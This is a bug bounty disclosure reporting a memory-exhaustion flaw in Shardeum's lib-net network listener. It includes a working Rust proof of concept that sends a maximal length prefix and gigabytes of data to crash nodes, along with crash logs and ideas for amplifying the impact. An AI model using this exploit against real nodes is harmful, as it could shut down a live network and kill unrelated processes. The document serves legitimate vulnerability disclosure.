Network not being able to confirm new transactions (total network shutdown)
RPC API crash affecting projects with greater than or equal to 25% of the market capitalization on top of the respective layer
Description
Brief/Intro
Disclosure: Wasn't sure on the severity level / impact you would want to classify this as.
Bug can be used to crash shardus-instances.
If used intelligently can be used to sometimes crash all the instances (without them getting restarted). Used even more complicated: Can be used to crash other processes in the OS.
I would find that to be severe ...
Vulnerability Details
https://github.com/shardeum/lib-net/blob/2832f1d4c92a3efb455239f146567f21fd80e4cb/shardus_net/src/shardus_net_listener.rs#L95 allows attacker controlled allocations on the system.
On some OS that already triggers the crash.
On other OS those allocations themselves usually get delayed. But once we actually read in data in L106, the allocator has to pull in more pages till the oom reaper gets triggered.
What the oom reaper does and when exactly it gets triggered is again highly dependent on the physical configuration of the box and the OS. It is however always a kill of a system process.
Different tested configs:
On a box with 1gb of physical ram I have seen crashes after sending 2512kb of data. Those crashes however couldn't reliably reap the restarting processes that "shardus start" apparently runs in the background. So that process starts a new shardus intstance. With more tinkering it's likely possible however to reap the restart process also.
On a box with 8gb of ram I have seen crashes after sending much closer to 8gb of data. Sending data in parallel to multiple instances (in theory) reduces the complete amount of bytes that need to be send. (Again depends on the allocation algorithms used be the OS). Notably those crashes reliably reap the "restart" (I think you call it pm?) process on my linode box, leaving no shardus-instance running.
To widen the impact: In theory one could allocate close to the maximum amount of ram on the system and wait till any other process on the system allocates ram. That one would somewhat likely get reaped on modern linux systems. (Not a Mac guy ...)
If somebody brings up the amount of traffic when wanting to downgrade this bug: I saw references to Gzip and Brotli. Both are extremely efficient at compressing repeating patterns. For reference compression rates on the older Gzip:
1Gb is 1MB in traffic
14GB is 7MB in traffic
64Gb is ~64 MB in traffic
Proof of concept
Simple POC
I have 2 POC. The simpler one shows that javascript using lib-net can't recover from the allocation problems. The error does not bubble up to javascript to handle. The process just dies.
Please note that the server output of memory allocation of 4294967295 bytes failed does represent the actual amount of data sent. It's just the requested allocation the kernel finally has to fulfill after receiving ~2512kb of data.
Before you make me document the more complicated one doing the "oom reaper thing to shardeum and the instances" please keep in mind that your process.on('SIGINT|SIGTERM') handlers all just die.
You can however use the net_attack code against your shardus start N instances. Depending on your configuration, different things will happen like explained above. I am happy to go into detail howto maximize impact.
server
save as test.js
const port = 10001
const address = 'localhost'
let sn = require('.').Sn;
sn = sn({
port,
address,
crypto: {
hashKey: '69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc',
signingSecretKeyHex: 'b66bc8e10b4c5afbb0ba825eb46e4798269e9e960e6fd668cec6a9a7b1d11f186003e6dc8d3f3b364b9ea6d7eb6489b99139ca41919cae70813017d56db3140c',
}
});
async function main() {
try {
const server = await sn.listen((data, remote, protocol, respond) => {
console.log('LISTEN GOT');
console.log(data);
console.log(remote);
console.log(protocol);
console.log(respond);
})
}
catch (e) {
console.log('CAUGHT IN MAIN', e);
}
}
try {
main();
} catch(e) {
console.log('CAUGHT CLOSER TO EVENT LOOP', e);
}
run
git clone https://github.com/shardeum/lib-net.git;
npm run build
node test.js
attacker
run
cargo new net_attack
cd net_attack
echo 'tokio = { version = "1.39.2", features = ["full"] }' >> Cargo.toml
save as src/main.rs
use std::io::Write;
use std::net::TcpStream;
use tokio::time::{sleep, Duration};
#[tokio::main(flavor = "multi_thread", worker_threads = 10)]
async fn main() {
// Connect to a TCP server running on localhost at port 8080
let mut handles = vec![];
// for i in 10001..10010 {
for i in 10000..10006 {
let conn = format!("localhost:{}",i);
let handle = tokio::spawn(async move {
if let Ok(mut stream) = TcpStream::connect(conn.clone()) {
println!("working on {}", conn.clone());
// send length
let u32_data: u32 = u32::MAX;
stream.write_all(&u32_data.to_be_bytes()).unwrap();
// 1kb data
let u8_data = vec![0; 1024];
// send 4g
let mut kb_send = 0;
for i in 0.. (1024*1024*4) {
let ret = stream.write_all(&u8_data);
match ret {
Ok(_) => { kb_send += 1; }
_ => {}
}
// if i % 2513 == 0 {
// println!("waiting");
// sleep(Duration::from_secs(5)).await;
// }
}
println!("{} took {} kb of data to explode the server", conn, kb_send);
}
});
handles.push(handle);
}
for handle in handles {
handle.await.unwrap();
}
run
cargo build
output
server
node test.js # now wait for attacker to run
memory allocation of 4294967295 bytes failed
Aborted (core dumped)
attacker
(cmd)root@localhost:~/net_attack# ps -ef | grep "node"
root 622235 619278 0 12:07 pts/4 00:00:00 node test.js
root 622426 565054 0 12:07 pts/3 00:00:00 grep --color=auto node
(ins)root@localhost:~/net_attack# pstree -p 622235
node(622235)─┬─{node}(622236)
├─{node}(622237)
├─{node}(622238)
├─{node}(622239)
├─{node}(622240)
├─{node}(622241)
└─{node}(622242)
(ins)root@localhost:~/net_attack# ./target/debug/net_attack
working on localhost:10000
localhost:10000 took 2512 kb of data to explode the server
(cmd)root@localhost:~/net_attack# pstree -p 622235
(ins)root@localhost:~/net_attack# ps -ef | grep "622235"
root 622446 565054 0 12:08 pts/3 00:00:00 grep --color=auto 622235
dmesg
[25332975.711693] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=/,mems_allowed=0,global_oom,task_memcg=/user.slice/user-0.slice/session-51052.scope,task=npm ci,pid=561123,uid=0
[25332975.711736] Out of memory: Killed process 561123 (npm ci) total-vm:1456584kB, anon-rss:311600kB, file-rss:128kB, shmem-rss:0kB, UID:0 pgtables:4316kB oom_score_adj:0
[25333014.835316] Adding 2097148k swap on /swapfile2g. Priority:-3 extents:22 across:20447200k SSFS
[25333464.439782] systemd-journald[3612200]: Failed to create new system journal: No space left on device
[25333464.482234] systemd-journald[3612200]: Failed to open system journal: No space left on device
[25333464.490041] systemd-journald[3612200]: Failed to open system journal: No space left on device
[25333464.496164] systemd-journald[3612200]: Failed to open system journal: No space left on device
[25333524.489081] systemd-journald[3612200]: Failed to open system journal: No space left on device (Dropped 9647 similar message(s))
[25333524.495573] systemd-journald[3612200]: Failed to open system journal: No space left on device
[25333524.502151] systemd-journald[3612200]: Failed to open system journal: No space left on device
[25333584.492651] systemd-journald[3612200]: Failed to open system journal: No space left on device (Dropped 9134 similar message(s))
[25333584.498730] systemd-journald[3612200]: Failed to open system journal: No space left on device
[25333584.505062] systemd-journald[3612200]: Failed to open system journal: No space left on device
[25334123.930224] __vm_enough_memory: pid: 618969, comm: tokio-runtime-w, not enough memory for the allocation
[25334123.930622] __vm_enough_memory: pid: 618969, comm: tokio-runtime-w, not enough memory for the allocation
[25334123.930744] __vm_enough_memory: pid: 618969, comm: tokio-runtime-w, not enough memory for the allocation
[25334139.556115] __vm_enough_memory: pid: 619106, comm: tokio-runtime-w, not enough memory for the allocation
